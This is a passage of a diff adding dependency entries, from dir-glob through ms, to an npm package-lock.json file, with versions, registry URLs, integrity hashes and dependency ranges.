+      "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz",
+      "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==",
+      "dependencies": {
+        "path-type": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/dlv": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz",
+      "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA=="
+    },
+    "node_modules/dns-equal": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/dns-equal/-/dns-equal-1.0.0.tgz",
+      "integrity": "sha512-z+paD6YUQsk+AbGCEM4PrOXSss5gd66QfcVBFTKR/HpFL9jCqikS94HYwKww6fQyO7IxrIIyUu+g0Ka9tUS2Cg=="
+    },
+    "node_modules/dns-packet": {
+      "version": "5.4.0",
+      "resolved": "https://registry.npmjs.org/dns-packet/-/dns-packet-5.4.0.tgz",
+      "integrity": "sha512-EgqGeaBB8hLiHLZtp/IbaDQTL8pZ0+IvwzSHA6d7VyMDM+B9hgddEMa9xjK5oYnw0ci0JQ6g2XCD7/f6cafU6g==",
+      "dependencies": {
+        "@leichtgewicht/ip-codec": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/doctrine": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz",
+      "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==",
+      "dependencies": {
+        "esutils": "^2.0.2"
+      },
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/dom-accessibility-api": {
+      "version": "0.5.6",
+      "resolved": "https://registry.nlark.com/dom-accessibility-api/download/dom-accessibility-api-0.5.6.tgz?cache=0&sync_timestamp=1622712225792&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fdom-accessibility-api%2Fdownload%2Fdom-accessibility-api-0.5.6.tgz",
+      "integrity": "sha1-P11DtSx6O9aLX7Y/pHtOTB/fZak="
+    },
+    "node_modules/dom-converter": {
+      "version": "0.2.0",
+      "resolved": "https://registry.npmjs.org/dom-converter/-/dom-converter-0.2.0.tgz",
+      "integrity": "sha512-gd3ypIPfOMr9h5jIKq8E3sHOTCjeirnl0WK5ZdS1AW0Odt0b1PaWaHdJ4Qk4klv+YB9aJBS7mESXjFoDQPu6DA==",
+      "dependencies": {
+        "utila": "~0.4"
+      }
+    },
+    "node_modules/dom-helpers": {
+      "version": "5.2.1",
+      "resolved": "https://registry.nlark.com/dom-helpers/download/dom-helpers-5.2.1.tgz?cache=0&sync_timestamp=1619452028728&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fdom-helpers%2Fdownload%2Fdom-helpers-5.2.1.tgz",
+      "integrity": "sha1-2UAFNrK/giWtmP4FLgKUUaxA6QI=",
+      "dependencies": {
+        "@babel/runtime": "^7.8.7",
+        "csstype": "^3.0.2"
+      }
+    },
+    "node_modules/dom-serializer": {
+      "version": "0.2.2",
+      "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-0.2.2.tgz",
+      "integrity": "sha512-2/xPb3ORsQ42nHYiSunXkDjPLBaEj/xTwUO4B7XCZQTRk7EBtTOPaygh10YAAh2OI1Qrp6NWfpAhzswj0ydt9g==",
+      "dependencies": {
+        "domelementtype": "^2.0.1",
+        "entities": "^2.0.0"
+      }
+    },
+    "node_modules/dom-serializer/node_modules/domelementtype": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz",
+      "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/fb55"
+        }
+      ]
+    },
+    "node_modules/domelementtype": {
+      "version": "1.3.1",
+      "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.3.1.tgz",
+      "integrity": "sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w=="
+    },
+    "node_modules/domexception": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/domexception/-/domexception-2.0.1.tgz",
+      "integrity": "sha512-yxJ2mFy/sibVQlu5qHjOkf9J3K6zgmCxgJ94u2EdvDOV09H+32LtRswEcUsmUWN72pVLOEnTSRaIVVzVQgS0dg==",
+      "deprecated": "Use your platform's native DOMException instead",
+      "dependencies": {
+        "webidl-conversions": "^5.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/domexception/node_modules/webidl-conversions": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-5.0.0.tgz",
+      "integrity": "sha512-VlZwKPCkYKxQgeSbH5EyngOmRp7Ww7I9rQLERETtf5ofd9pGeswWiOtogpEO850jziPRarreGxn5QIiTqpb2wA==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/domhandler": {
+      "version": "4.3.1",
+      "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.3.1.tgz",
+      "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==",
+      "dependencies": {
+        "domelementtype": "^2.2.0"
+      },
+      "engines": {
+        "node": ">= 4"
+      },
+      "funding": {
+        "url": "https://github.com/fb55/domhandler?sponsor=1"
+      }
+    },
+    "node_modules/domhandler/node_modules/domelementtype": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz",
+      "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/fb55"
+        }
+      ]
+    },
+    "node_modules/domutils": {
+      "version": "1.7.0",
+      "resolved": "https://registry.npmjs.org/domutils/-/domutils-1.7.0.tgz",
+      "integrity": "sha512-Lgd2XcJ/NjEw+7tFvfKxOzCYKZsdct5lczQ2ZaQY8Djz7pfAD3Gbp8ySJWtreII/vDlMVmxwa6pHmdxIYgttDg==",
+      "dependencies": {
+        "dom-serializer": "0",
+        "domelementtype": "1"
+      }
+    },
+    "node_modules/dot-case": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/dot-case/-/dot-case-3.0.4.tgz",
+      "integrity": "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==",
+      "dependencies": {
+        "no-case": "^3.0.4",
+        "tslib": "^2.0.3"
+      }
+    },
+    "node_modules/dot-case/node_modules/tslib": {
+      "version": "2.4.0",
+      "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.0.tgz",
+      "integrity": "sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ=="
+    },
+    "node_modules/dotenv": {
+      "version": "10.0.0",
+      "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-10.0.0.tgz",
+      "integrity": "sha512-rlBi9d8jpv9Sf1klPjNfFAuWDjKLwTIJJ/VxtoTwIR6hnZxcEOQCZg2oIL3MWBYw5GpUDKOEnND7LXTbIpQ03Q==",
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/dotenv-expand": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/dotenv-expand/-/dotenv-expand-5.1.0.tgz",
+      "integrity": "sha512-YXQl1DSa4/PQyRfgrv6aoNjhasp/p4qs9FjJ4q4cQk+8m4r6k4ZSiEyytKG8f8W9gi8WsQtIObNmKd+tMzNTmA=="
+    },
+    "node_modules/duplexer": {
+      "version": "0.1.2",
+      "resolved": "https://registry.npmjs.org/duplexer/-/duplexer-0.1.2.tgz",
+      "integrity": "sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg=="
+    },
+    "node_modules/ee-first": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
+      "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow=="
+    },
+    "node_modules/ejs": {
+      "version": "3.1.10",
+      "resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.10.tgz",
+      "integrity": "sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA==",
+      "dependencies": {
+        "jake": "^10.8.5"
+      },
+      "bin": {
+        "ejs": "bin/cli.js"
+      },
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/electron-to-chromium": {
+      "version": "1.4.269",
+      "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.269.tgz",
+      "integrity": "sha512-7mHFONwp7MNvdyto1v70fCwk28NJMFgsK79op+iYHzz1BLE8T66a1B2qW5alb8XgE0yi3FL3ZQjSYZpJpF6snw=="
+    },
+    "node_modules/emittery": {
+      "version": "0.8.1",
+      "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.8.1.tgz",
+      "integrity": "sha512-uDfvUjVrfGJJhymx/kz6prltenw1u7WrCg1oa94zYY8xxVpLLUu045LAT0dhDZdXG58/EpPL/5kA180fQ/qudg==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sindresorhus/emittery?sponsor=1"
+      }
+    },
+    "node_modules/emoji-regex": {
+      "version": "9.2.2",
+      "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz",
+      "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg=="
+    },
+    "node_modules/emojis-list": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-3.0.0.tgz",
+      "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==",
+      "engines": {
+        "node": ">= 4"
+      }
+    },
+    "node_modules/encodeurl": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz",
+      "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/entities": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz",
+      "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==",
+      "funding": {
+        "url": "https://github.com/fb55/entities?sponsor=1"
+      }
+    },
+    "node_modules/error-ex": {
+      "version": "1.3.2",
+      "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz",
+      "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==",
+      "dependencies": {
+        "is-arrayish": "^0.2.1"
+      }
+    },
+    "node_modules/error-stack-parser": {
+      "version": "2.1.4",
+      "resolved": "https://registry.npmjs.org/error-stack-parser/-/error-stack-parser-2.1.4.tgz",
+      "integrity": "sha512-Sk5V6wVazPhq5MhpO+AUxJn5x7XSXGl1R93Vn7i+zS15KDVxQijejNCrz8340/2bgLBjR9GtEG8ZVKONDjcqGQ==",
+      "dependencies": {
+        "stackframe": "^1.3.4"
+      }
+    },
+    "node_modules/es-abstract": {
+      "version": "1.20.3",
+      "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.20.3.tgz",
+      "integrity": "sha512-AyrnaKVpMzljIdwjzrj+LxGmj8ik2LckwXacHqrJJ/jxz6dDDBcZ7I7nlHM0FvEW8MfbWJwOd+yT2XzYW49Frw==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "es-to-primitive": "^1.2.1",
+        "function-bind": "^1.1.1",
+        "function.prototype.name": "^1.1.5",
+        "get-intrinsic": "^1.1.3",
+        "get-symbol-description": "^1.0.0",
+        "has": "^1.0.3",
+        "has-property-descriptors": "^1.0.0",
+        "has-symbols": "^1.0.3",
+        "internal-slot": "^1.0.3",
+        "is-callable": "^1.2.6",
+        "is-negative-zero": "^2.0.2",
+        "is-regex": "^1.1.4",
+        "is-shared-array-buffer": "^1.0.2",
+        "is-string": "^1.0.7",
+        "is-weakref": "^1.0.2",
+        "object-inspect": "^1.12.2",
+        "object-keys": "^1.1.1",
+        "object.assign": "^4.1.4",
+        "regexp.prototype.flags": "^1.4.3",
+        "safe-regex-test": "^1.0.0",
+        "string.prototype.trimend": "^1.0.5",
+        "string.prototype.trimstart": "^1.0.5",
+        "unbox-primitive": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/es-array-method-boxes-properly": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/es-array-method-boxes-properly/-/es-array-method-boxes-properly-1.0.0.tgz",
+      "integrity": "sha512-wd6JXUmyHmt8T5a2xreUwKcGPq6f1f+WwIJkijUqiGcJz1qqnZgP6XIK+QyIWU5lT7imeNxUll48bziG+TSYcA=="
+    },
+    "node_modules/es-define-property": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.0.tgz",
+      "integrity": "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==",
+      "dependencies": {
+        "get-intrinsic": "^1.2.4"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/es-define-property/node_modules/function-bind": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
+      "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==",
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/es-define-property/node_modules/get-intrinsic": {
+      "version": "1.2.4",
+      "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.4.tgz",
+      "integrity": "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==",
+      "dependencies": {
+        "es-errors": "^1.3.0",
+        "function-bind": "^1.1.2",
+        "has-proto": "^1.0.1",
+        "has-symbols": "^1.0.3",
+        "hasown": "^2.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/es-errors": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",
+      "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==",
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/es-shim-unscopables": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/es-shim-unscopables/-/es-shim-unscopables-1.0.0.tgz",
+      "integrity": "sha512-Jm6GPcCdC30eMLbZ2x8z2WuRwAws3zTBBKuusffYVUrNj/GVSUAZ+xKMaUpfNDR5IbyNA5LJbaecoUVbmUcB1w==",
+      "dependencies": {
+        "has": "^1.0.3"
+      }
+    },
+    "node_modules/es-to-primitive": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.2.1.tgz",
+      "integrity": "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==",
+      "dependencies": {
+        "is-callable": "^1.1.4",
+        "is-date-object": "^1.0.1",
+        "is-symbol": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/escalade": {
+      "version": "3.1.1",
+      "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz",
+      "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/escape-html": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz",
+      "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow=="
+    },
+    "node_modules/escape-string-regexp": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
+      "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==",
+      "engines": {
+        "node": ">=0.8.0"
+      }
+    },
+    "node_modules/escodegen": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.0.0.tgz",
+      "integrity": "sha512-mmHKys/C8BFUGI+MAWNcSYoORYLMdPzjrknd2Vc+bUsjN5bXcr8EhrNB+UTqfL1y3I9c4fw2ihgtMPQLBRiQxw==",
+      "dependencies": {
+        "esprima": "^4.0.1",
+        "estraverse": "^5.2.0",
+        "esutils": "^2.0.2",
+        "optionator": "^0.8.1"
+      },
+      "bin": {
+        "escodegen": "bin/escodegen.js",
+        "esgenerate": "bin/esgenerate.js"
+      },
+      "engines": {
+        "node": ">=6.0"
+      },
+      "optionalDependencies": {
+        "source-map": "~0.6.1"
+      }
+    },
+    "node_modules/escodegen/node_modules/levn": {
+      "version": "0.3.0",
+      "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz",
+      "integrity": "sha512-0OO4y2iOHix2W6ujICbKIaEQXvFQHue65vUG3pb5EUomzPI90z9hsA1VsO/dbIIpC53J8gxM9Q4Oho0jrCM/yA==",
+      "dependencies": {
+        "prelude-ls": "~1.1.2",
+        "type-check": "~0.3.2"
+      },
+      "engines": {
+        "node": ">= 0.8.0"
+      }
+    },
+    "node_modules/escodegen/node_modules/optionator": {
+      "version": "0.8.3",
+      "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz",
+      "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==",
+      "dependencies": {
+        "deep-is": "~0.1.3",
+        "fast-levenshtein": "~2.0.6",
+        "levn": "~0.3.0",
+        "prelude-ls": "~1.1.2",
+        "type-check": "~0.3.2",
+        "word-wrap": "~1.2.3"
+      },
+      "engines": {
+        "node": ">= 0.8.0"
+      }
+    },
+    "node_modules/escodegen/node_modules/prelude-ls": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz",
+      "integrity": "sha512-ESF23V4SKG6lVSGZgYNpbsiaAkdab6ZgOxe52p7+Kid3W3u3bxR4Vfd/o21dmN7jSt0IwgZ4v5MUd26FEtXE9w==",
+      "engines": {
+        "node": ">= 0.8.0"
+      }
+    },
+    "node_modules/escodegen/node_modules/type-check": {
+      "version": "0.3.2",
+      "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz",
+      "integrity": "sha512-ZCmOJdvOWDBYJlzAoFkC+Q0+bUyEOS1ltgp1MGU03fqHG+dbi9tBFU2Rd9QKiDZFAYrhPh2JUf7rZRIuHRKtOg==",
+      "dependencies": {
+        "prelude-ls": "~1.1.2"
+      },
+      "engines": {
+        "node": ">= 0.8.0"
+      }
+    },
+    "node_modules/eslint": {
+      "version": "8.24.0",
+      "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.24.0.tgz",
+      "integrity": "sha512-dWFaPhGhTAiPcCgm3f6LI2MBWbogMnTJzFBbhXVRQDJPkr9pGZvVjlVfXd+vyDcWPA2Ic9L2AXPIQM0+vk/cSQ==",
+      "deprecated": "This version is no longer supported. Please see https://eslint.org/version-support for other options.",
+      "peer": true,
+      "dependencies": {
+        "@eslint/eslintrc": "^1.3.2",
+        "@humanwhocodes/config-array": "^0.10.5",
+        "@humanwhocodes/gitignore-to-minimatch": "^1.0.2",
+        "@humanwhocodes/module-importer": "^1.0.1",
+        "ajv": "^6.10.0",
+        "chalk": "^4.0.0",
+        "cross-spawn": "^7.0.2",
+        "debug": "^4.3.2",
+        "doctrine": "^3.0.0",
+        "escape-string-regexp": "^4.0.0",
+        "eslint-scope": "^7.1.1",
+        "eslint-utils": "^3.0.0",
+        "eslint-visitor-keys": "^3.3.0",
+        "espree": "^9.4.0",
+        "esquery": "^1.4.0",
+        "esutils": "^2.0.2",
+        "fast-deep-equal": "^3.1.3",
+        "file-entry-cache": "^6.0.1",
+        "find-up": "^5.0.0",
+        "glob-parent": "^6.0.1",
+        "globals": "^13.15.0",
+        "globby": "^11.1.0",
+        "grapheme-splitter": "^1.0.4",
+        "ignore": "^5.2.0",
+        "import-fresh": "^3.0.0",
+        "imurmurhash": "^0.1.4",
+        "is-glob": "^4.0.0",
+        "js-sdsl": "^4.1.4",
+        "js-yaml": "^4.1.0",
+        "json-stable-stringify-without-jsonify": "^1.0.1",
+        "levn": "^0.4.1",
+        "lodash.merge": "^4.6.2",
+        "minimatch": "^3.1.2",
+        "natural-compare": "^1.4.0",
+        "optionator": "^0.9.1",
+        "regexpp": "^3.2.0",
+        "strip-ansi": "^6.0.1",
+        "strip-json-comments": "^3.1.0",
+        "text-table": "^0.2.0"
+      },
+      "bin": {
+        "eslint": "bin/eslint.js"
+      },
+      "engines": {
+        "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+      },
+      "funding": {
+        "url": "https://opencollective.com/eslint"
+      }
+    },
+    "node_modules/eslint-config-react-app": {
+      "version": "7.0.1",
+      "resolved": "https://registry.npmjs.org/eslint-config-react-app/-/eslint-config-react-app-7.0.1.tgz",
+      "integrity": "sha512-K6rNzvkIeHaTd8m/QEh1Zko0KI7BACWkkneSs6s9cKZC/J27X3eZR6Upt1jkmZ/4FK+XUOPPxMEN7+lbUXfSlA==",
+      "dependencies": {
+        "@babel/core": "^7.16.0",
+        "@babel/eslint-parser": "^7.16.3",
+        "@rushstack/eslint-patch": "^1.1.0",
+        "@typescript-eslint/eslint-plugin": "^5.5.0",
+        "@typescript-eslint/parser": "^5.5.0",
+        "babel-preset-react-app": "^10.0.1",
+        "confusing-browser-globals": "^1.0.11",
+        "eslint-plugin-flowtype": "^8.0.3",
+        "eslint-plugin-import": "^2.25.3",
+        "eslint-plugin-jest": "^25.3.0",
+        "eslint-plugin-jsx-a11y": "^6.5.1",
+        "eslint-plugin-react": "^7.27.1",
+        "eslint-plugin-react-hooks": "^4.3.0",
+        "eslint-plugin-testing-library": "^5.0.1"
+      },
+      "engines": {
+        "node": ">=14.0.0"
+      },
+      "peerDependencies": {
+        "eslint": "^8.0.0"
+      }
+    },
+    "node_modules/eslint-import-resolver-node": {
+      "version": "0.3.6",
+      "resolved": "https://registry.npmjs.org/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.6.tgz",
+      "integrity": "sha512-0En0w03NRVMn9Uiyn8YRPDKvWjxCWkslUEhGNTdGx15RvPJYQ+lbOlqrlNI2vEAs4pDYK4f/HN2TbDmk5TP0iw==",
+      "dependencies": {
+        "debug": "^3.2.7",
+        "resolve": "^1.20.0"
+      }
+    },
+    "node_modules/eslint-import-resolver-node/node_modules/debug": {
+      "version": "3.2.7",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+      "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+      "dependencies": {
+        "ms": "^2.1.1"
+      }
+    },
+    "node_modules/eslint-module-utils": {
+      "version": "2.7.4",
+      "resolved": "https://registry.npmjs.org/eslint-module-utils/-/eslint-module-utils-2.7.4.tgz",
+      "integrity": "sha512-j4GT+rqzCoRKHwURX7pddtIPGySnX9Si/cgMI5ztrcqOPtk5dDEeZ34CQVPphnqkJytlc97Vuk05Um2mJ3gEQA==",
+      "dependencies": {
+        "debug": "^3.2.7"
+      },
+      "engines": {
+        "node": ">=4"
+      },
+      "peerDependenciesMeta": {
+        "eslint": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/eslint-module-utils/node_modules/debug": {
+      "version": "3.2.7",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+      "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+      "dependencies": {
+        "ms": "^2.1.1"
+      }
+    },
+    "node_modules/eslint-plugin-flowtype": {
+      "version": "8.0.3",
+      "resolved": "https://registry.npmjs.org/eslint-plugin-flowtype/-/eslint-plugin-flowtype-8.0.3.tgz",
+      "integrity": "sha512-dX8l6qUL6O+fYPtpNRideCFSpmWOUVx5QcaGLVqe/vlDiBSe4vYljDWDETwnyFzpl7By/WVIu6rcrniCgH9BqQ==",
+      "dependencies": {
+        "lodash": "^4.17.21",
+        "string-natural-compare": "^3.0.1"
+      },
+      "engines": {
+        "node": ">=12.0.0"
+      },
+      "peerDependencies": {
+        "@babel/plugin-syntax-flow": "^7.14.5",
+        "@babel/plugin-transform-react-jsx": "^7.14.9",
+        "eslint": "^8.1.0"
+      }
+    },
+    "node_modules/eslint-plugin-import": {
+      "version": "2.26.0",
+      "resolved": "https://registry.npmjs.org/eslint-plugin-import/-/eslint-plugin-import-2.26.0.tgz",
+      "integrity": "sha512-hYfi3FXaM8WPLf4S1cikh/r4IxnO6zrhZbEGz2b660EJRbuxgpDS5gkCuYgGWg2xxh2rBuIr4Pvhve/7c31koA==",
+      "dependencies": {
+        "array-includes": "^3.1.4",
+        "array.prototype.flat": "^1.2.5",
+        "debug": "^2.6.9",
+        "doctrine": "^2.1.0",
+        "eslint-import-resolver-node": "^0.3.6",
+        "eslint-module-utils": "^2.7.3",
+        "has": "^1.0.3",
+        "is-core-module": "^2.8.1",
+        "is-glob": "^4.0.3",
+        "minimatch": "^3.1.2",
+        "object.values": "^1.1.5",
+        "resolve": "^1.22.0",
+        "tsconfig-paths": "^3.14.1"
+      },
+      "engines": {
+        "node": ">=4"
+      },
+      "peerDependencies": {
+        "eslint": "^2 || ^3 || ^4 || ^5 || ^6 || ^7.2.0 || ^8"
+      }
+    },
+    "node_modules/eslint-plugin-import/node_modules/debug": {
+      "version": "2.6.9",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+      "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+      "dependencies": {
+        "ms": "2.0.0"
+      }
+    },
+    "node_modules/eslint-plugin-import/node_modules/doctrine": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz",
+      "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==",
+      "dependencies": {
+        "esutils": "^2.0.2"
+      },
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/eslint-plugin-import/node_modules/ms": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
